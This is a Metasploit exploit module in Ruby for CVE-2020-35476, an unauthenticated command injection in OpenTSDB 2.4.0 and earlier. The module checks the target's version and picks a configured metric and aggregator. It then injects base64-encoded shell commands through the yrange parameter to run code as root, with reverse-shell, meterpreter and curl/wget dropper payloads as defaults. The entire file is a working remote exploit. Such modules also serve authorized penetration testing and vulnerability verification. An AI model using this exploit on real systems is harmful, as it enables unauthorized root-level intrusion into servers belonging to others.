##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OpenTSDB 2.4.0 unauthenticated command injection',
        'Description' => %q{
          This module exploits an unauthenticated command injection
          vulnerability in the yrange parameter in OpenTSDB through
          2.4.0 (CVE-2020-35476) in order to achieve unauthenticated
          remote code execution as the root user.

          The module first attempts to obtain the OpenTSDB version via
          the api. If the version is 2.4.0 or lower, the module
          performs additional checks to obtain the configured metrics
          and aggregators. It then randomly selects one metric and one
          aggregator and uses those to instruct the target server to
          plot a graph. As part of this request, the yrange parameter is
          set to the payload, which will then be executed by the target
          if the latter is vulnerable.

          This module has been successfully tested against OpenTSDB
          version 2.3.0.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Shai rod', # @nightrang3r - discovery and PoC
          'Erik Wynter' # @wyntererik - Metasploit
        ],
        'References' => [
          ['CVE', '2020-35476'],
          ['URL', 'https://github.com/OpenTSDB/opentsdb/issues/2051'] # disclosure and PoC
        ],
        'DefaultOptions' => {
          'RPORT' => 4242
        },
        'CmdStagerFlavor' => %w[bourne curl wget],
        'Targets' => [
          [
            'Automatic (Unix In-Memory)',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
              'Type' => :unix_memory
            }
          ],
          [
            'Automatic (Linux Dropper)',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
              'Type' => :linux_dropper
            }
          ]
        ],
        'Privileged' => true,
        'DisclosureDate' => '2020-11-18',
        'DefaultTarget' => 1,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options [
      OptString.new('TARGETURI', [true, 'The base path to OpenTSDB', '/']),
    ]
  end

  def check
    # sanity check to see if the target is likely OpenTSDB
    res1 = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    })

    unless res1
      return CheckCode::Unknown('Connection failed.')
    end

    unless res1.code == 200 && res1.get_html_document.xpath('//title').text.include?('OpenTSDB')
      return CheckCode::Safe('Target is not an OpenTSDB application.')
    end

    # get the version via the api
    res2 = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api', 'version')
    })

    unless res2
      return CheckCode::Unknown('Connection failed.')
    end

    unless res2.code == 200 && res2.body.include?('version')
      return CheckCode::Detected('Target may be OpenTSDB but the version could not be determined.')
    end

    begin
      parsed_res_body = JSON.parse(res2.body)
    rescue JSON::ParserError
      return CheckCode::Detected('Could not determine the OpenTSDB version: the HTTP response body did not match the expected JSON format.')
    end

    unless parsed_res_body.is_a?(Hash) && parsed_res_body.key?('version')
      return CheckCode::Detected('Could not determine the OpenTSDB version: the HTTP response body did not match the expected JSON format.')
    end

    version = parsed_res_body['version']

    begin
      if Rex::Version.new(version) <= Rex::Version.new('2.4.0')
        return CheckCode::Appears("The target is OpenTSDB version #{version}")
      else
        return CheckCode::Safe("The target is OpenTSDB version #{version}")
      end
    rescue ArgumentError => e
      return CheckCode::Unknown("Failed to obtain a valid OpenTSDB version: #{e}")
    end
  end

  def select_metric
    # check if any metrics have been configured. if not, exploitation cannot work
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'suggest'),
      'vars_get' => { 'type' => 'metrics' }
    })

    unless res
      fail_with(Failure::Unknown, 'Connection failed.')
    end

    unless res.code == 200
      fail_with(Failure::UnexpectedReply, "Received unexpected status code #{res.code} when checking the configured metrics")
    end

    begin
      metrics = JSON.parse(res.body)
    rescue JSON::ParserError
      fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured metrics: The response body did not contain valid JSON.')
    end

    unless metrics.is_a?(Array)
      fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured metrics: The response body did not contain a JSON array')
    end

    if metrics.empty?
      fail_with(Failure::NoTarget, 'Failed to identify any configured metrics. This makes exploitation impossible')
    end

    # select a random metric since any will do
    @metric = metrics.sample
    print_status("Identified #{metrics.length} configured metrics. Using metric #{@metric}")
  end

  def select_aggregator
    # check the configured aggregators and select one at random
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'aggregators')
    })

    unless res
      fail_with(Failure::Unknown, 'Connection failed.')
    end

    unless res.code == 200
      fail_with(Failure::UnexpectedReply, "Received unexpected status code #{res.code} when checking the configured aggregators")
    end

    begin
      aggregators = JSON.parse(res.body)
    rescue JSON::ParserError
      fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured aggregators: The response body did not contain valid JSON.')
    end

    unless aggregators.is_a?(Array)
      fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured aggregators: The response body did not contain a JSON array')
    end

    if aggregators.empty?
      fail_with(Failure::NoTarget, 'Failed to identify any configured aggregators. This makes exploitation impossible')
    end

    # select a random aggregator since any will do
    @aggregator = aggregators.sample
    print_status("Identified #{aggregators.length} configured aggregators. Using aggregator #{@aggregator}")
  end

  def execute_command(cmd, _opts = {})
    # use base64 to avoid special char escape hell (specifying BadChars did not help)
    cmd = "'echo #{Base64.strict_encode64(cmd)} | base64 -d | /bin/sh'"
    start_time = rand(20.year.ago..10.year.ago) # this should be a date far enough in the past to make sure we capture all possible data
    start_value = start_time.strftime('%Y/%m/%d-%H:%M:%S')
    end_time = rand(1.year.since..10.year.since) # this can be a date in the future to make sure we capture all possible data
    end_value = end_time.strftime('%Y/%m/%d-%H:%M:%S')

    get_vars = {
      'start' => start_value,
      'end' => end_value,
      'm' => "#{@aggregator}:#{@metric}",
      'yrange' => "[1:system(#{Rex::Text.uri_encode(cmd)})]",
      'wxh' => "#{rand(800..1600)}x#{rand(400..600)}",
      'style' => 'linespoint'
    }

    exploit_uri = '?'
    get_vars.each do |key, value|
      exploit_uri += "#{key}=#{value}&"
    end
    exploit_uri += 'json'

    # using a raw request because cgi was leading to encoding issues
    send_request_raw({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'q' + exploit_uri)
    }, 0) # we don't have to wait for a reply here
  end

  def exploit
    select_metric
    select_aggregator
    if target.arch.first == ARCH_CMD
      print_status('Executing the payload')
      execute_command(payload.encoded)
    else
      execute_cmdstager(background: true)
    end
  end
end
